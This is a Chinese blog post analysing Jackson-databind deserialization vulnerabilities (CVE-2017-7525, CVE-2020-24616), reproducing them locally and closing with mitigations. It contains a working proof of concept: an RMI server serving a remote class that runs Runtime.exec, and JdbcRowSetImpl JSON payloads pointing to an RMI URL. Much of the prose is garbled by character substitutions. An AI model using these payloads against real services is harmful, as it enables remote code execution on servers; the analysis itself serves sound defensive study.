关于java:Jacksondatabind引发的漏洞问题分析

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前言

最近公司外部提供了一份利用高危破绽的清单，其中提到了 fastjson 和 jackson，因为之前对 fastjson 因为多态问题引发的反序列化问题有过理解，所以打算也做一个简略的剖析。

破绽简述

2020 年 08 月 27 日，360CERT 监测发现 jackson-databind 公布了 jackson-databind 序列化破绽 的危险通告，该破绽编号为 CVE-2020-24616，破绽等级：高危，破绽评分：7.5。

br.com.anteros:Anteros-DBCP 中存在新的反序列化利用链，能够绕过 jackson-databind 黑名单限度，近程攻击者通过向应用该组件的 web 服务接口发送特制申请包，能够造成 近程代码执行 影响。

受影响的版本：fasterxml:jackson-databind: <2.9.10.6，该版本还修复了下述利用链：

  • org.arrahtec:profiler-core
  • com.nqadmin.rowset:jdbcrowsetimpl
  • com.pastdev.httpcomponents:configuration

上述 package 中存在新的反序列化利用链，能够绕过 jackson-databind 黑名单限度，近程攻击者通过向应用该组件的 web 服务接口发送特制申请包，能够造成 近程代码执行 影响。

破绽剖析

其实此破绽和前几年 jackson 爆进去的另外一个破绽 (CVE-2017-7525) 是一脉相承的，都是利用反序列化近程执行代码；至于为什么会呈现这个问题，其实归根结底和多态无关，上面做一个简略的剖析；

序列化中的多态问题

咱们平时见得最多的 json 格局可能像上面这样：

{"fruit":{"name":"apple"},"mode":"online"}

外面是没有任何类信息的，拿到 json 字符串间接通过相干办法转化为对象：

public <T> T readValue(String content, Class<T> valueType)

像以上这种状况基本上是不会有什么问题的，然而很多业务中有 多态 的需要，比方像上面这样：

// 水果接口类
public interface Fruit {
}

// 通过指定的形式购买水果
public class Buy {
    private String mode;
    private Fruit fruit;
}

// 具体的水果类 -- 苹果
public class Apple implements Fruit {private String name;}

// 具体的水果类 -- 香蕉
public class Banana implements Fruit {private String name;}

能够发现这里的 Buy 对象外面寄存的是 Fruit，并不是具体的某种水果，如果这时候你去序列化：

Banana banana = new Banana();
banana.setName("banana");

Buy buy = new Buy("online", banana);

ObjectMapper mapper = new ObjectMapper();

// 序列化
String jsonString = mapper.writeValueAsString(buy);
System.out.println("toJSONString :" + jsonString);

// 反序列化
Buy newBuy = mapper.readValue(jsonString, Buy.class);
banana = (Banana) newBuy.getFruit();
System.out.println(banana);

序列化是能够胜利的，后果如下所示：

{"mode":"online","fruit":{"name":"banana"}}

然而在反序列化的时候，程序中齐全没法晓得 fruit 到底是苹果还是香蕉，所以会间接报错：

Exception in thread "main" com.fasterxml.jackson.databind.exc.InvalidDefinitionException: Cannot construct instance of `com.jackson.Fruit` (no Creators, like default construct, exist): abstract types either need to be mapped to concrete types, have custom deserializer, or contain additional type information

面对这种问题，jackson 提供了相干的技术支持，次要有以下这么两种：

  • 全局 DefaultTyping 机制
  • 为 Class 增加 @JsonTypeInfo

多态问题反对

全局 DefaultTyping 机制相对来说比较简单，一个配置就解决了；而 @JsonTypeInfo 注解模式相对来说比拟麻烦；

全局 DefaultTyping 机制

只须要对 ObjectMapper 开启此配置即可：

ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY);

这样再去执行刚刚的序列化办法，后果会是如下这样：

{"@class":"com.jackson.Buy","mode":"online","fruit":{"@class":"com.jackson.impl.Banana","name":"banana"}}

能够发现在 json 外面蕴含了类信息，这样在反序列化的时候，就能辨认具体的类，这样就能反序列化胜利；

JsonTypeInfo 注解模式

此种模式须要针对每种类型做专门的解决，相对来说比拟麻烦，咱们须要在 Fruit 接口中做解决：

@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, include = JsonTypeInfo.As.PROPERTY, property = "type")
@JsonSubTypes(value = { @JsonSubTypes.Type(value = Apple.class, name = "a"),
        @JsonSubTypes.Type(value = Banana.class, name = "b") })
public interface Fruit {}

能够发现如果发现是子类 Apple，就用字符 a 代替；如果发现是子类 Banana，就用字符 b 代替；序列化的后果如下：

{"mode":"online","fruit":{"type":"b","name":"banana"}}

这种模式通过在 json 字符串中增加了具体类的 type，这样在反序列化的时候也同样能够胜利；

破绽重现

以上介绍了两种 jackson 在解决多态问题的计划，那问题出在哪里；其实问题的本源就出在 全局 DefaultTyping 机制 中对生成的 json 字符串中蕴含了类信息，这样对攻击者来说就相当于留了一个后门，能够通过在 json 字符串中传入一些非凡的类，对服务器引发灾难性结果；下面也提到此问题其实在 (CVE-2017-7525) 破绽中曾经呈现，这里能够做一个简略模仿；

CVE-2017-7525 重现

过后要求的版本是不低于 2.8.9，这里间接应用此版本来模仿；

<dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-databind</artifactId>
    version>2.8.10</version>
</dependency>

一个常见的攻打类是：com.sun.rowset.JdbcRowSetImpl，此类的 dataSourceName 反对传入一个 rmi 的源，而后能够设置 autocommit 主动连贯，执行 rmi 中的办法；
这里首选须要筹备一个 RMI 类：

public class RMIServer {public static void main(String argv[]) {Registry registry = LocateRegistry.createRegistry(1098);
         Reference reference = new Reference("Exploit", "Exploit", "http://localhost:8080/");
         registry.bind("Exploit", new ReferenceWrapper(reference));
    }
}

这里的 Reference 指定了类名，以及近程地址，能够从近程服务器上加载 class 文件来实例化；筹备好 Exploit 类，编译成 class 文件，而后把他放在本地的 http 服务器中即可；

public class Exploit {public Exploit() {Runtime.getRuntime().exec("calc");
    }
}

这里咱们做了一个简略的模仿，让服务器在本地调用计算器；

有了以上这些，上面要筹备攻打的 json 字符串，如下所示：

{"@class":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1098/Exploit","autoCommit":true}

反序列化相干代码如下：

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY);
String json = "{\"@class\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1098/Exploit\",\"autoCommit\":true}";
objectMapper.readValue(json, Object.class);

在反序列化的时候，先执行 setDataSourceName 办法，而后 setAutoCommit 的时候会主动连贯设置的 dataSourceName 属性，最终获取到 Exploit 类执行其中的相干操作，以上的程序会在本地调起计算器；

如果做降级解决，降级到 2.8.10 版本，同样执行以上的代码，后果如下：

Exception in thread "main" com.fasterxml.jackson.databind.JsonMappingException: Invalid type definition for type Lcom/sun/rowset/JdbcRowSetImpl;: Illegal type (com.sun.rowset.JdbcRowSetImpl) to deserialize: prevented for security reasons

能够发现 JdbcRowSetImpl 曾经进入了 jackson 的黑名单中；然而黑名单往往是不全的，后续可能常常爆出破绽，比方这次的破绽；

CVE-2020-24616 重现

这样同样应用破绽前的版本，咱们应用 2.9.10.5 版本，存在破绽的 com.nqadmin.rowset.jdbcrowsetimpl，引入如下：

<dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-databind</artifactId>
    <version>2.9.10.5</version>
</dependency>
<dependency>
    <groupId>com.nqadmin.rowset</groupId>
    <artifactId>jdbcrowsetimpl</artifactId>
    <version>1.0.2</version>
</dependency>

再次提供攻打 json 字符串：

{"@class":"com.nqadmin.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1098/Exploit","autoCommit":true}

执行下面同样的代码，应用如上 json 字符串，同样可能调起本地计算器；上面要做的就是降级版本：>2.9.10.6；再次执行后果如下：

Exception in thread "main" com.fasterxml.jackson.databind.exc.InvalidDefinitionException: Invalid type definition for type `com.nqadmin.rowset.JdbcRowSetImpl`: Illegal type (com.nqadmin.rowset.JdbcRowSetImpl) to deserialize: prevented for security reasons

能够发现 com.nqadmin.rowset.JdbcRowSetImpl 曾经进入黑名单；

破绽总结

能够发现相似的破绽在很多 json 序列化工具中都有，黑名单的计划其实也是比拟临时性的，想要彻底解决这个问题其实是很难的，因为你不晓得当前还会呈现什么 jar 包有近程执行的性能，所以上面对 jackson 序列化工具做一点应用上的总结；

不要应用 DefaultTyping

能够发现问题的本源在于 DefaultTyping 形式导致在 json 字符串中呈现了类信息，其实下面也介绍了齐全能够通过 JsonTypeInfo 形式代替；只不过相对来说麻烦点，然而对于安全性来说这点不算什么；

能够发现新版 jackson 中曾经不倡议应用 DefaultTyping 了，此办法曾经被标识为@Deprecated

    @Deprecated
    public ObjectMapper enableDefaultTyping(DefaultTyping applicability, JsonTypeInfo.As includeAs) {}

反序列化指定具体类

其实咱们能够发现这些黑名单中的类，咱们平时很少应用，咱们大部分状况都应用的是一些业务类，这样咱们在反序列化的时候尽量应用具体类，不要应用 Object，如下面的代码：

objectMapper.readValue(json, Object.class);

如果咱们这里填的是具体的业务类，如果真的接管到一个攻打 json 字符串，其实程序首先也会对 json 中的类信息是否和指定的类信息是否统一，如果不统一，间接不会执行：

objectMapper.readValue(json, Banana.class);

下面再反序列化的时候，间接报错：

Exception in thread "main" com.fasterxml.jackson.databind.exc.InvalidTypeIdException: Missing type id when trying to resolve subtype of [simple type, class com.jackson.impl.Banana]: missing type id property 'type'

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正文完
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发表至： java
2021-03-25
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